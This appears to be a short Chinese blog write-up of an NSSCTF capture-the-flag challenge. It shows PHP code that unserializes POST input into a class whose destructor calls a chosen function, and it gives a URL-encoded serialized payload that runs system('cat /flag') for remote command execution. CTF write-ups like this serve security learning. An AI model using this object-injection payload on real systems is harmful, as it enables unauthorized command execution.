本文最后更新于448 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、访问网站

二、分析代码
<?php class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{ $a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__); ?>
头:nss
lyh->__destruct $lt = system $lly=cat /flag
尾:system(cat flag);
解题思路:
1.找到头和尾
2.输入参数是nss,所以是头,
3.__destruct中的$a($this->lly);可以构造rce:system(cat /flag)
4.触发__destruct,当类被销毁是调用,所以使$lt = system $lly=cat /flag即可
三、生成payload

四、执行payload
nss=O%3A3%3A%22lyh%22%3A3%3A%7Bs%3A3%3A%22url%22%3Bs%3A10%3A%22NSSCTF.com%22%3Bs%3A2%3A%22lt%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22lly%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D

总结
- php反序列化
- rce